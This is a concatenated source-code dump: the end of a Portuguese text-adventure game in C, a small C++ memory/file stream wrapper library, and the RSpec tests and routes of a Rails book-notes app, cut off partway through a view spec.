Sleep(1000);
printf("\na.CONTINUAR ANDANDO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 17;
}
finalizeid();
}
if (id == 17)
{
printf("Daniel: A aula sera no ginasio, nao e?\n");
Sleep(2000);
printf("Clarice: Sim.\n");
Sleep(1000);
printf("Por que?\n");
Sleep(1000);
printf("Daniel: Nada...\n");
Sleep(1000);
printf("So queria saber mesmo.\n");
Sleep(1000);
printf("\na.CONTINUAR ANDANDO\n");
escolha = getchar();
if (escolha == 'a')
{
id = 18;
}
finalizeid();
}
if (id == 18)
{
printf("Clarice: Sera que o Rony vem hoje?\n");
Sleep(2000);
printf("Daniel: Talvez.\n");
Sleep(2000);
printf("Ele so sabe estudar sobre nao sei la o que...\n");
Sleep(2000);
printf("Clarice: Nao e \"sei la o que\",\n");
Sleep(1000);
printf("sao Overlones\n");
Sleep(2000);
printf("Daniel: Tanto faz...\n");
Sleep(1000);
printf("Ate hoje nao entendi mesmo o que sao aquelas coisas.\n");
Sleep(2000);
printf("\na.ENTRAR NA VERA LOKA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 19;
}
rony = 1;
finalizeid();
}
if (id == 19 && var[0] == 0)
{
printf("Clarice: Overlone e um \"objeto\" que possui um vasto conhecimento sobre o mundo das maquinas...\n");
Sleep(2000);
printf("Daniel: \"E la vem ela com essa historia novamente\"\n");
Sleep(1000);
printf("Clarice: So que esses objetos nao tem como aplicarem seus conhecimentos em algo pratico,\n");
Sleep(3000);
printf("a nao ser que alguem aplique os conhecimentos que aqueles objetos lhe passaram.\n");
Sleep(3000);
printf("Rony descobriu um dos objetos, e viu algo de interessante:\n");
Sleep(3000);
printf("Eles podiam raciocinar as coisas, mas de forma incompleta.\n");
Sleep(3000);
printf("E como se fossem um HD todo quebrado, que voce pode conseguir informacões, mas todas incompletas.\n");
Sleep(3000);
printf("Agora ele estuda os padrões desses objetos, tentando descobrir quais outros conhecimentos eles possuem.\n");
Sleep(3000);
printf("Fora aquelas perguntas basicas do tipo \"de onde vem\" ou \"quem fez aquilo\", coisas assim...\n");
Sleep(3000);
printf("Entendeu agora?\n");
Sleep(2000);
printf("Daniel: Claro, claro...\n");
Sleep(2000);
printf("\"Nerds e suas teorias da conspiracao...\"\n");
Sleep(2000);
printf("\na.SUGERIR IR EMBORA\nb.PENSAR O QUE COMER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 19;
var[0] = 1;
}
if (escolha == 'b')
{
id = 19;
var[0] = 2;
}
finalizeid();
}
if (id == 19 && var[0] == 1)
{
printf("Daniel: Vamos logo embora?\n");
Sleep(2000);
printf("Clarice: Mas acabamos de chegar!\n");
Sleep(2000);
printf("Voce nao estava com fome tambem?\n");
Sleep(2000);
printf("Daniel: Estou meio enjoado, por isso.\n");
Sleep(2000);
printf("Clarice: Porque voce nao se alimentou direito ainda\n");
Sleep(3000);
printf("Daniel: E fora isso estou bastante cansado...\n");
Sleep(2000);
printf("Clarice: ...\n");
Sleep(1000);
printf("Chegando em casa deixo voce dormir à vontade, tudo bem?\n");
Sleep(2000);
printf("Mas va, coma algo\n");
Sleep(1000);
printf("\na.ESCOLHER MISTO QUENTE\nb.ESCOLHER SALGADO\nc.ESCOLHER BOLO\n");
escolha = getchar();
if (escolha == 'a' || escolha == 'b' || escolha == 'c')
{
id = 20;
var[0] = 0;
}
finalizeid();
}
if (id == 19 && var[0] == 2)
{
printf("Daniel: ...\n");
Sleep(1000);
printf("Estou sem ideias do que pedir...\n");
Sleep(2000);
printf("Clarice: Sei dessa sua indecisao...\n");
Sleep(2000);
printf("Daniel: Como assim?!\n");
Sleep(1000);
printf("Clarice: Voce quer e comer logo um monte de coisas, isso sim!\n");
Sleep(2000);
printf("Daniel: Naaaoo!! Como pode dizer isso?!\n");
Sleep(1000);
printf("Eu so uma pessoa muito educada e nada esfomeada...\n");
Sleep(2000);
printf("Clarice: Ate parece...\n");
Sleep(1000);
printf("Te conheco desde os 9 anos, lembra?!\n");
Sleep(2000);
printf("Daniel: Hahahah!!\n");
Sleep(1000);
printf("Me deixe ser assim!\n");
Sleep(1000);
printf("Clarice: Hahah!\n");
Sleep(1000);
printf("\na.ESCOLHER MISTO QUENTE\nb.ESCOLHER SALGADO\nc.ESCOLHER BOLO\n");
escolha = getchar();
if (escolha == 'a' || escolha == 'b' || escolha == 'c')
{
id = 20;
var[0] = 0;
}
finalizeid();
}
if (id == 20)
{
printf("Daniel: Ja sabe o que vai querer?\n");
Sleep(1000);
printf("Clarice: So um misto quente\n");
Sleep(2000);
printf("Daniel: Vou ali fazer nossos pedidos\n");
Sleep(3000);
printf("Funcionaria: O que vai querer?\n");
Sleep(1000);
if (escolha == 'a')
{
printf("Daniel: Dois mistos quentes, por favor\n");
Sleep(3000);
}
if (escolha == 'b')
{
printf("Daniel: Um salgado e um misto quente, por favor\n");
Sleep(3000);
}
if (escolha == 'c')
{
printf("Daniel: Um pedaco de bolo e um misto quente, por favor\n");
Sleep(3000);
}
printf("\"Clary tem razao...\n");
Sleep(2000);
printf("Nao me vejo mais sem nem ao menos comer aqui...\"\n");
Sleep(4000);
printf("Funcionaria: Aqui, senhor\n");
Sleep(1000);
printf("Daniel: Obrigado!\n");
Sleep(1000);
printf("Funcionaria: Volte sempre!\n");
Sleep(1000);
printf("\na.VOLTAR PARA CLARY\n");
escolha = getchar();
if (escolha == 'a')
{
id = 21;
}
finalizeid();
}
if (id == 21)
{
printf("Clarice: Finalmente!\n");
Sleep(1000);
printf("Ja estava ficando agoniada aqui...\n");
Sleep(1000);
printf("Daniel: Hahahaha!\n");
Sleep(1000);
printf("Adoro esse seu jesto quando fala que fica agoniada\n");
Sleep(2000);
printf("Clarice: Hahaha!\n");
Sleep(3000);
printf("Agora vamos comer logo, senao vamos nos atrasar\n");
Sleep(2000);
printf("Daniel: Eu mesmo ja comecei...\n");
Sleep(2000);
printf("Clarice: Como assim ja...\n");
Sleep(1000);
printf("VOCE MORDEU MEU SANDUICHE?!\n");
Sleep(2000);
printf("Daniel: Hahahhaha!\n");
Sleep(2000);
printf("Calma que vou te dar um pedac...\n");
Sleep(1000);
printf("Clarice: Acho bom mesmo!\n");
Sleep(1000);
printf("\na.COMER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 22;
}
finalizeid();
}
if (id == 21 && var[0] == 0)
{
printf("Clarice: Agora que terminamos, temos que ser rapidos!\n");
Sleep(2000);
printf("Daniel: Por que?\n");
Sleep(1000);
printf("Clarice: Ja sao 9:25\n");
Sleep(1000);
printf("Daniel: E...\n");
Sleep(1000);
printf("Clarice: E hoje tem avaliacao!\n");
Sleep(2000);
printf("Mesmo que eu nao me importe de perder, nao custa nada ir\n");
Sleep(2000);
printf("\na.CORRER\nb.IR TRANQUILAMENTE\n");
escolha = getchar();
if (escolha == 'a')
{
id = 21;
var[0] = 1;
}
if (escolha == 'b')
{
id = 21;
var[0] = 2;
}
finalizeid();
}
if (id == 21 && var[0] == 1)
{
printf("Daniel: Vamos logo!\n");
Sleep(1000);
printf("Melhor correr para nos livrarmos dessa materia\n");
Sleep(2000);
printf("Clary: Verdade...\n");
Sleep(1000);
printf("\na.CORRER\n");
escolha = getchar();
if (escolha == 'a')
{
id = 22;
}
finalizeid();
}
if (id == 21 && var[0] == 2)
{
printf("Daniel: Sem pressa...\n");
Sleep(2000);
printf("Clary: Tudo bem...\n");
Sleep(2000);
printf("\na.IR TRANQUILAMENTE\n");
escolha = getchar();
if (escolha == 'a')
{
id = 22;
}
finalizeid();
}
if (id == 22)
{
printf("(Barulho de sinal escolar)\n");
Sleep(1000);
printf("Clarice: Nao chegaremos à tempo!\n");
Sleep(2000);
printf("Daniel: \"Otimo! Agora posso descansar tambem\"\n");
Sleep(2000);
printf("Relaxa que nao tem problema\n");
Sleep(1000);
printf("Clarice: Verdade...\n");
Sleep(2000);
printf("Mesmo assim era bom termos ido...\n");
Sleep(3000);
printf("Daniel: Quero voltar para casa\n");
Sleep(2000);
printf("Vamos?\n");
Sleep(2000);
printf("Clarice: Vamos...\n");
Sleep(2000);
printf("\na.VOLTAR PARA CASA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 23;
}
finalizeid();
}
if (id == 23)
{
printf("...\n");
Sleep(1000);
printf("\"Finalmente chegando em casa\"\n");
Sleep(2000);
printf("Clarice: Sei que esta pensando em ir dormir.\n");
Sleep(1000);
printf("Pode deixar que me deitarei ao seu lado ate...\n");
Sleep(3000);
printf("Daniel: Obrigado\n");
Sleep(4000);
printf("Tem algo de errado aqui...\n");
Sleep(2000);
printf("Clarice: Por que diz isso?\n");
Sleep(3000);
printf("Daniel: Por acaso ja viu meu amuleto aqui ao lado das chaves escondidas?\n");
Sleep(3000);
printf("(Batidas dentro da casa)\n");
Sleep(2000);
printf("Daniel: Vamos!\n");
Sleep(1000);
printf("Clarice: Dan, nao faca isso!\n");
Sleep(2000);
printf("\na.CONTINUAR CORRENDO PARA DENTRO DE CASA\n");
escolha = getchar();
if (escolha == 'a')
{
id = 24;
}
finalizeid();
}
if (id == 24)
{
printf("? = Nao, nao pode ser\n");
Sleep(1000);
printf("Tem que estar aqui em algum lugar\n");
Sleep(2000);
printf("Daniel: \"Quem sera?\"\n");
Sleep(1000);
printf("\na.ENTRAR EM SILENCIO NO QUARTO\nb.PEGAR UMA FACA E ENTRAR EM SILENCIO NO QUARTO\n");
escolha = getchar();
if (escolha == 'a' || escolha == 'b')
{
id = 25;
}
finalizeid();
}
if (id == 25)
{
printf("? = Mais um Overlone nao\n");
Sleep(1000);
printf("Mais um Overlone nao\n");
Sleep(1000);
printf("Daniel: \"Essa voz me e familiar\"\n");
Sleep(2000);
printf("Clarice: Hey, Dan!\n");
Sleep(1000);
printf("Daniel: Silencio!\n");
Sleep(3000);
printf("\"Ele parou de falar sozinho\"\n");
Sleep(5000);
printf("Clarice: AHHH!!\n");
Sleep(2000);
printf("Daniel: Clarice?!\n");
Sleep(1000);
printf("? = Voces nao deveriam ter isso...\n");
Sleep(2000);
printf("Daniel: Voce...\n");
Sleep(1000);
printf("Por que lancou essa faca no ombro dela?!\n");
Sleep(2000);
printf("Mostre as caras, degracado!\n");
Sleep(1000);
printf("\na.CONTINUAR\n");
escolha = getchar();
if (escolha == 'a')
{
id = 26;
}
finalizeid();
}
if (id == 26)
{
printf("Clarice: Rony?!\n");
Sleep(1000);
printf("Daniel: Como assim?!\n");
Sleep(1000);
printf("Rony: Overlones nao devem existir\n");
Sleep(2000);
printf("O fim esta neles\n");
Sleep(1000);
printf("Destrua-os\n");
Sleep(3000);
printf("Clarice: (Chorando de dor) Do que voce esta falando?\n");
Sleep(3000);
printf("Rony: Vejam essas asas\n");
Sleep(2000);
printf("O fim esta nelas\n");
Sleep(3000);
printf("Nao posso deixar possuidores de Overlones intactos\n");
Sleep(2000);
printf("Clarice: O que voce quer com o Dan?!\n");
Sleep(3000);
printf("Dan, o que foi?\n");
Sleep(2000);
printf("Daniel: \"'So sei que uma hora estarei'\"\n");
Sleep(4000);
printf("Rony: <NAME>\n");
Sleep(4000);
id = 27;
finalizeid();
}
if (id == 27)
{
printf("? = A vida nao e a melhor\n");
Sleep(2000);
printf("Adorar a morte e bom\n");
Sleep(2000);
printf("Ame\n");
Sleep(1000);
printf("Lute\n");
Sleep(1000);
printf("E uma hora vera a merda que e existir\n");
Sleep(3000);
printf("\nCONTINUA\n");
Sleep(5000);
id = 0;
break;
}
}
}
| af1b503507c7553213d5b1f30cd57c5575bb5c23 | [
"C"
] | 1 | C | Mathousbr/RPG-Text-based | 9d65aa59dbb38f776cb6c76677502c0f4c7d221e | 649e83f13d3b1bff724cbf87e17f4f8bc2a96005 |
refs/heads/master | <repo_name>junqingmark/readwriteStreaming<file_sep>/rwops.cpp
#include "rwops.h"
#include <stdlib.h>
#include <string.h>
#include <iostream>
static long stdio_size(RWops* context)
{
long pos, size;
pos = RWseek(context, 0, RW_SEEK_CUR);
if(pos < 0)
{
return -1;
}
size = RWseek(context, 0, RW_SEEK_END);
RWseek(context, 0, RW_SEEK_SET);
return size;
}
static long stdio_seek(struct RWops* context, long offset, int whence)
{
if(fseek(context->hidden.stdio.fp, offset, whence) == 0)
{
return ftell(context->hidden.stdio.fp);
}
else
return -1;
}
static size_t stdio_read(RWops* context, void* ptr, size_t size, size_t maxnum )
{
size_t nread;
//size_t fread(void* buff,size_t size,size_t count,FILE* stream)
//int ferror(FILE *stream);
nread = fread(ptr, size, maxnum, context->hidden.stdio.fp);
if(0 == nread || ferror(context->hidden.stdio.fp))
{
std::cerr << "fail in fread" << std::endl;
}
return nread;
}
static size_t stdio_write(RWops* context, void* ptr, size_t size, size_t maxnum)
{
size_t nwrite;
//size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream);
nwrite = fwrite(ptr, size, maxnum, context->hidden.stdio.fp);
if(0 == nwrite || ferror(context->hidden.stdio.fp))
{
std::cerr << "fail in fwrite" << std::endl;
}
return nwrite;
}
static int stdio_close(RWops* context)
{
int status = 0;
if(context)
{
if(context->hidden.stdio.autoclose)
{
if(fclose(context->hidden.stdio.fp) != 0)
{
status = -1;
}
}
FreeRW(context);
}
return status;
}
static long mem_size(RWops* context)
{
return (long)(context->hidden.mem.stop-context->hidden.mem.base);
}
static long mem_seek(struct RWops* context, long offset, int whence)
{
uint8_t* newpos;
switch(whence)
{
case RW_SEEK_SET:
newpos = context->hidden.mem.base + offset;
break;
case RW_SEEK_CUR:
newpos = context->hidden.mem.here + offset;
break;
case RW_SEEK_END:
newpos = context->hidden.mem.stop + offset;
break;
default:
return -1;
}
if(newpos < context->hidden.mem.base)
{
newpos = context->hidden.mem.base;
}
if(newpos > context->hidden.mem.stop)
{
newpos = context->hidden.mem.stop;
}
context->hidden.mem.here = newpos;
return (long)(context->hidden.mem.here - context->hidden.mem.base);
}
static size_t mem_read(struct RWops* context, void* ptr, size_t size, size_t maxnum)
{
size_t total_bytes;
size_t mem_available;
total_bytes = size * maxnum;
if(size <= 0 || maxnum <= 0)
{
return 0;
}
mem_available = (context->hidden.mem.stop - context->hidden.mem.here);
if(total_bytes > mem_available)
{
total_bytes = mem_available;
}
memcpy(ptr, context->hidden.mem.here, total_bytes);
context->hidden.mem.here += total_bytes;
return total_bytes/size;
}
static size_t mem_write(struct RWops* context, void* ptr, size_t size, size_t maxnum)
{
if((context->hidden.mem.here + maxnum*size > context->hidden.mem.stop))
{
maxnum = (context->hidden.mem.stop - context->hidden.mem.here)/size;
}
memcpy(context->hidden.mem.here, ptr, maxnum*size);
context->hidden.mem.here += maxnum*size;
return maxnum;
}
static size_t mem_writeconst(struct RWops* context, void* ptr, size_t size, size_t maxnum)
{
std::cerr << "cannot write to read-only memory!" << std::endl;
return 0;
}
static int mem_close(struct RWops* context)
{
if(context)
{
free(context);
}
return 0;
}
RWops* RWFromFile(const char* file, const char* mode)
{
RWops* rwops = NULL;
if(!file || !*file || !mode || !*mode)
{
std::cerr << "No file or mode specified!" << std::endl;
return NULL;
}
FILE* fp = fopen(file, mode);
if(NULL == fp)
{
std::cerr << "cannot open " << file << std::endl;
}
else
{
rwops = RWFromFP(fp, 1);
}
return rwops;
}
RWops* RWFromFP(FILE* fp, bool autoclose)
{
RWops* rwops = NULL;
rwops = AllocRW();
if(rwops != NULL)
{
rwops->read = stdio_read;
rwops->write = stdio_write;
rwops->size = stdio_size;
rwops->seek = stdio_seek;
rwops->close = stdio_close;
rwops->hidden.stdio.fp = fp;
rwops->hidden.stdio.autoclose = autoclose;
rwops->type = RWOPS_STDFILE;
}
return rwops;
}
RWops* RWFromMem(void* mem, int size)
{
RWops* rwops = NULL;
if(NULL == mem)
{
std::cerr << "wrong parameter mem!" << std::endl;
return rwops;
}
if(0 == size)
{
std::cerr << "wrong parameter size!" << std::endl;
return rwops;
}
rwops = AllocRW();
if(rwops != NULL)
{
rwops->size = mem_size;
rwops->seek = mem_seek;
rwops->read = mem_read;
rwops->write = mem_write;
rwops->close = mem_close;
rwops->hidden.mem.base = (uint8_t*)mem;
rwops->hidden.mem.here = rwops->hidden.mem.base;
rwops->hidden.mem.stop = rwops->hidden.mem.base + size;
rwops->type = RWOPS_MEMORY;
}
return rwops;
}
RWops* RWFromConstMem(const void* mem, int size)
{
RWops* rwops = NULL;
if(NULL == mem)
{
std::cerr << "wrong parameter mem!" << std::endl;
return rwops;
}
if(0 == size)
{
std::cerr << "wrong parameter size!" << std::endl;
return rwops;
}
rwops = AllocRW();
if(rwops != NULL)
{
rwops->size = mem_size;
rwops->seek = mem_seek;
rwops->read = mem_read;
rwops->write = mem_writeconst;
rwops->close = mem_close;
rwops->hidden.mem.base = (uint8_t*)mem;
rwops->hidden.mem.here = rwops->hidden.mem.base;
rwops->hidden.mem.stop = rwops->hidden.mem.base + size;
rwops->type = RWOPS_MEMORY_RO;
}
return rwops;
}
RWops* AllocRW()
{
RWops* area;
area = (RWops*)malloc(sizeof(RWops));
if(NULL == area)
{
std::cerr << "fail in malloc" << std::endl;
}
else
{
area->type = RWOPS_UNKNOWN;
}
return area;
}
void FreeRW(RWops* ops)
{
free(ops);
}
<file_sep>/rwops.h
#ifndef _RW_OPS_H_
#define _RW_OPS_H_
#include <stdio.h>
#include <stdint.h>
#ifdef _cplusplus
extern "C" {
#endif
#define RWOPS_UNKNOWN 0 //unknown stream type
#define RWOPS_STDFILE 1
#define RWOPS_MEMORY 2
#define RWOPS_MEMORY_RO 3
#define RW_SEEK_SET 0
#define RW_SEEK_CUR 1
#define RW_SEEK_END 2
typedef struct RWops
{
long (*size)(struct RWops* context);
long (*seek)(struct RWops* context, long offset, int whence);
size_t (*read)(struct RWops* context, void* ptr, size_t size, size_t maxnum);
size_t (*write)(struct RWops* context, void* ptr, size_t size, size_t maxnum);
int (*close)(struct RWops* context);
size_t type;
union
{
struct
{
bool autoclose;
FILE* fp;
}stdio;
struct
{
uint8_t* base;
uint8_t* here;
uint8_t* stop;
}mem;
struct
{
void* data1;
void* data2;
}unknown;
}hidden;
}RWops;
extern RWops* RWFromFile(const char* file, const char* mode);
extern RWops* RWFromFP(FILE* fp, bool autoclose);
extern RWops* RWFromMem(void* mem, int size);
extern RWops* RWFromConstMem(const void* mem, int size);
extern RWops* AllocRW();
extern void FreeRW(RWops* ops);
#define RWsize(ctx) (ctx)->size(ctx)
#define RWseek(ctx, offset, whence) (ctx)->seek(ctx, offset, whence)
#define RWtell(ctx) (ctx)->seek(ctx, 0, RW_SEEK_CUR)
#define RWread(ctx, ptr, size, n) (ctx)->read(ctx, ptr, size, n)
#define RWwrite(ctx, ptr, size, n) (ctx)->write(ctx, ptr, size, n)
#define RWclose(ctx) (ctx)->close(ctx)
#ifdef _cplusplus
}
#endif
#endif
<file_sep>/README.md
# readwriteStreaming
This is a wrapper for memory and stdio streaming.
<file_sep>/main.cpp
#include "rwops.h"
#include <iostream>
#include <string.h>
using namespace std;
const char* RWopsReadTestFilename = "rwops_read.dat";
char writeFile[] = "hello world";
int main(int argc, char* argv[])
{
FILE *fp;
RWops *rw;
fp = fopen(RWopsReadTestFilename, "a+");
if(NULL == fp)
{
std::cout << "fail to open the file" << std::endl;
return -1;
}
rw = RWFromFP(fp, 1);
if(NULL == rw)
{
std::cerr << "fail in RWFromFP" << std::endl;
fclose(fp);
return -1;
}
else
{
std::cout << "success in RWFromFP" << std::endl;
}
RWwrite(rw, writeFile, 1, strlen(writeFile));
long ret = RWsize(rw);
std::cout << "The size of the file is " << ret << std::endl;
return 0;
}
| 8d6fab60f0146927f398899d0e2cd062df5e0dc8 | [
"Markdown",
"C",
"C++"
] | 4 | C++ | junqingmark/readwriteStreaming | 1267988c8af0243bbf7413d67128a08ec41301e2 | 84766c6e6190273cbf638a0bb0f26e02ca64be93 |
refs/heads/master | <repo_name>blueplanet/reader_zone<file_sep>/README.md
# ReaderZone is zone of reader. [](https://travis-ci.org/blueplanet/reader_zone)
## gems
- haml-rails
- twitter-bootstrap-rails<file_sep>/spec/views/notes/new.html.haml_spec.rb
require 'spec_helper'
describe "notes/new.html.haml" do
let(:book) do
Book.delete_all
Book.create title: "Ruby"
end
let(:new_note) { stub_model(Note).as_new_record }
before do
assign(:book, book)
assign(:note, new_note)
end
it "should display a new note form" do
render
# Run the generator post with the --webrat flag if you want to use webrat matchers
assert_select "form", :action => new_book_note_path(1), :method => "post" do
assert_select "input#note_page", name: "note[page]"
assert_select "textarea#note_note", name: "note[note]"
end
end
end
<file_sep>/spec/views/books/new.html.haml_spec.rb
# encoding: utf-8
require 'spec_helper'
describe "books/new.html.haml" do
it "should display new book form" do
assign(:book, stub_model(Book).as_new_record)
render
expect(rendered).to match /Book/
assert_select "form", action: new_book_path, method: "post" do
assert_select "input#book_title", name: "book[title]"
assert_select "input#book_image_url", name: "book[image_url]"
assert_select 'textarea#book_description', name: "book[description]"
assert_select "input.btn.btn-primary", content: "保存"
end
end
end<file_sep>/spec/controllers/notes_controller_spec.rb
require 'spec_helper'
describe NotesController do
before do
Book.delete_all
end
let(:user) { User.create! name: "testuser"}
let(:book) { Book.create! title: "Ruby" }
describe "GET 'new'" do
it "returns http success" do
get 'new', {book_id: book.id}
response.should be_success
end
it "should assigns @book" do
get :new, {book_id: book.id }
assigns[:book].should eq(book)
end
end
describe "POST 'create'" do
it "should redirect to book#show" do
post :create, { note: { page: 100, note: 'note content' }, book_id: book.id }
response.should redirect_to(book)
end
it "should assigns @book" do
post :create, { note: { page: 100, note: 'note content' }, book_id: book.id }
assigns[:book].should eq(book)
end
it "should append a note to @book#notes" do
expect {
post :create, { note: { page: 100, note: "note content" }, book_id: book.id }
}.to change(book.notes, :count).by(1)
end
it "should append a note to current_user#notes" do
expect {
post :create, { note: { page: 100, note: "note content"}, book_id: book.id }, {user_id: user.id}
}.to change(user.notes, :count).by(1)
end
end
describe "edit" do
let(:note) {Note.create book: book, user: user, page: 10, note: 'saved note'}
describe "GET 'edit'" do
before do
get :edit, {book_id: book.id, id: note.id}
end
it "return http success" do
response.should be_success
end
it "should assigns @book and @note" do
assigns[:book].should eq(book)
assigns[:note].should eq(note)
end
it "should render edit template" do
response.should render_template(:edit)
end
end
describe "PUT 'update'" do
it "should updates the note" do
Note.any_instance.should_receive(:update_attributes)
put :update, {book_id: book.id, id: note.id, note: {note: 'new note'}}
end
it "shoud redirect to book#show" do
put :update, {book_id: book.id, id: note.id, note: {note: 'new note'}}
response.should redirect_to(book)
end
end
describe "DELETE note" do
before do
@delete_note = book.notes.build page: 101
@delete_note.save
end
it "destroy note" do
expect {
delete :destroy, {book_id: book.id, id: @delete_note.id}, user_id: user.id
}.to change(book.notes, :count).by(-1)
end
it "should redirect to book#show" do
delete :destroy, {book_id: book.id, id: @delete_note.id}, user_id: user.id
response.should redirect_to(book)
end
end
end
end
<file_sep>/config/routes.rb
ReaderZone::Application.routes.draw do
resources :books, only: [:index, :show, :new, :create, :edit, :update] do
resources :notes, only: [:new, :create, :edit, :update, :destroy]
member do
get 'my', as: 'my_notes'
end
end
root to: "books#index"
# OnniAuth
match "/auth/:provider/callback" => "sessions#callback"
match "/logout" => "sessions#destroy", as: :logout
end
<file_sep>/spec/views/books/edit.html.haml_spec.rb
# encoding: utf-8
require 'spec_helper'
describe "books/edit.html.haml" do
before do
Book.delete_all
@book = Book.create title: "ruby"
end
it "should display edit book form" do
assign(:book, @book)
render
expect(rendered).to match /Book/
assert_select "form", action: edit_book_path(@book), method: "post" do
assert_select "input#book_title", name: "book[title]"
assert_select "input#book_image_url", name: "book[image_url]"
assert_select 'textarea#book_description', name: "book[description]"
assert_select "input.btn.btn-primary", content: "保存"
end
end
end<file_sep>/spec/features/user_can_edit_self_note_spec.rb
# coding: utf-8
require 'spec_helper'
feature 'ユーザとして、自分のノートを編集したい' do
context "ログインしている場合" do
def mock_hash
{
"provider" => "twitter",
"uid" => 1234567,
"info" => {
"nickname" => 'test_user_twitter',
"image" => '...test.png'
}
}
end
background do
OmniAuth.config.test_mode = true
OmniAuth.config.mock_auth[:twitter] = mock_hash
User.delete_all
Book.delete_all
@user1 = User.create! provider: mock_hash["provider"], uid: mock_hash["uid"], name: mock_hash["info"]["nickname"]
@user2 = User.create! name: 'testuser2'
@user3 = User.create! name: 'testuser3'
@book = Book.create! title: 'ruby', description: "I's beautiful language", created_by:@user1
5.times.map.with_index(1) { |i| @book.notes.build page: i*10, note: "note #{i}", user: @user1}
@book.notes[0].user =@user2
@book.notes[2].user =@user3
@book.notes[4].user =@user2
@book.save
visit root_path
click_link "Twitterでログイン"
click_link @book.title
end
scenario '自分のノートに対して編集ページへ遷移出来る' do
first(:link, "編集").click
page.should have_field "note_page", with: @book.notes[1].page.to_s
page.should have_field "note_note", with: @book.notes[1].note
end
end
end<file_sep>/spec/models/note_spec.rb
require "spec_helper"
describe Note do
context "scoped of_user" do
let(:book) {Book.create title: 'ruby'}
let(:user) {User.create name: 'testuser'}
let(:user_other) {User.create name: 'user_other'}
before do
Note.delete_all
@n1 = Note.create book: book, page: 101, note: '101 note', user: user
Note.create book: book, page: 102, note: 'note user_other 102', user: user_other
@n2 = Note.create book: book, page: 102, note: '102 note', user: user
end
it "should display notes only owner of user" do
notes = Note.of_user(user)
notes.should eq([@n1, @n2])
end
end
end<file_sep>/spec/controllers/books_controller_spec.rb
# encoding: utf-8
require 'spec_helper'
describe BooksController do
before(:all) do
Book.delete_all
end
let(:user) {User.create name: 'testuser'}
let(:user_other) {User.create name: 'user_other'}
let(:book) {
Book.delete_all
book = Book.create( image_url: "test.png", title: "Ruby", description: "I's a language", created_by: user)
@n1 = book.notes.build page: 1, note: 'note1', user: user
book.notes.build page: 1, note: 'note11', user: user_other
@n2 = book.notes.build page: 2, note: 'note2', user: user
book.save
book
}
describe "GET 'index'" do
it "returns http success" do
get 'index'
response.should be_success
end
it "should assign @books" do
Book.delete_all
book = Book.create image_url: "test.png", title: "Ruby", description: "This is a language"
get 'index'
assigns(:books).should eq([book])
end
it "should render index template" do
get 'index'
response.should render_template("index")
end
end
describe "GET 'my" do
before do
get 'my', {id: book.id}, {user_id: user.id}
end
it "return http success" do
response.should be_success
end
it "should assigns @book" do
assigns[:book].should eq(book)
end
it "should assigns @notes" do
assigns[:notes].should eq([@n1, @n2])
end
it "should display note only for me" do
assigns[:notes].length.should == 2
assigns[:notes].all? { |note| note.user.should eq(user)}
end
it "should render my template" do
response.should render_template("my")
end
end
describe "GET 'show'" do
before do
get 'show', {id: book.id}
end
it "return http success" do
response.should be_success
end
it "should assigns @book" do
assigns[:book].should eq(book)
end
it "should render show template" do
response.should render_template("show")
end
end
describe "GET 'new'" do
it "return http success" do
get 'new'
response.should be_success
end
it "should assigns @book" do
get 'new'
assigns[:book].should be_new_record
end
it "should render new template" do
get 'new'
response.should render_template("new")
end
end
describe "POST 'create'" do
context "with valid params" do
it "creates a new book" do
expect {
post :create, {book: {"title" => 'ruby 1', "image_url" => '.../test.png', 'description' => 'ruby is ...', "created_by_id" => user.id.to_param }}
}.to change(Book, :count).by(1)
end
it "assigns a newly created Book as @book" do
post :create, {book: {title: 'ruby', image_url: '.../test.png', description: 'ruby is ...'}}
assigns[:book].should be_a(Book)
assigns[:book].should be_persisted
end
it "redirect to the created book" do
post :create, {book: {title: 'ruby 2', image_url: '.../test.png', description: 'ruby is ...'}}
response.should redirect_to(book_path(assigns[:book]))
end
end
context "with invalid params" do
it "assigns a created but unsaved book as @book" do
post :create, {book: {image_url: '.../test.png', description: 'ruby is ...'}}
assigns[:book].should be_a(Book)
assigns[:book].should_not be_persisted
assigns[:book].errors.should_not be_nil
end
it "re-renders the 'new' template" do
post :create, {book: {image_url: '.../test.png', description: 'ruby is ...'}}
response.should render_template(:new)
end
end
end
describe "GET 'edit'" do
context "with valid params" do
it "should assigns @book" do
get :edit, {id: book.id}, {user_id: user.id}
assigns[:book].should eq(book)
end
it "rendered 'edit' template" do
get :edit, {id: book.id}, {user_id: user.id}
response.should render_template(:edit)
end
end
context "without user_id" do
it "redirect to 'show'" do
get :edit, id: book.id
response.should redirect_to(book)
end
end
context "with other user" do
it "redirect to 'show'" do
get :edit, {id: book.id}, {user_id: user_other.id}
response.should redirect_to(book)
end
end
end
describe "PUT 'update'" do
context "with valid params" do
it "updates the requested book" do
Book.any_instance.should_receive(:update_attributes).with("title" => "Ruby Programing")
put :update, {id: book.id, book: {title: 'Ruby Programing'}}, {user_id: book.created_by_id}
end
it "assign the updated book to @book" do
put :update, {id: book.id, book: {title: 'Ruby Programing'}}
assigns[:book].should eql(book)
end
it "redirect to book" do
put :update, {id: book.id, book: {title: 'Ruby Programing'}}
response.should redirect_to(book)
end
end
context "with invalid params" do
it "assign the requested book" do
put :update, {id: book.id, book: {title: ""}}, {user_id: user.id}
assigns[:book].should eq(book)
end
it "re-renders 'edit' templates" do
put :update, {id: book.id, book: {title: ""}}, {user_id: user.id}
response.should render_template(:edit)
end
end
context "without user_id" do
it "redirect to 'show'" do
put :update, {id: book.id, book: {"title" => "new title"}}, {user_id: user_other.id }
book.reload
book.title.should_not eq "new title"
response.should redirect_to(book)
end
end
end
end
<file_sep>/spec/views/notes/edit.html.haml_spec.rb
require 'spec_helper'
describe "notes/edit.html.haml" do
before(:each) do
Book.delete_all
end
let(:user) { User.create name: 'testuser'}
let(:book) { Book.create title: "Ruby" }
let(:note) { Note.create book: book, page: 100, note: 'saved note', user: user }
before do
assign(:book, book)
assign(:note, note)
end
it "should display a edit note form" do
render
# Run the generator post with the --webrat flag if you want to use webrat matchers
assert_select "form", :action => edit_book_note_path(1, 1), :method => "post" do
assert_select "input#note_page", name: "note[page]"
assert_select "textarea#note_note", name: "note[note]"
end
end
end
<file_sep>/spec/views/books/my.html.haml_spec.rb
# encoding: utf-8
require 'spec_helper'
describe "books/my" do
let(:user1) {User.create name: "testuser1"}
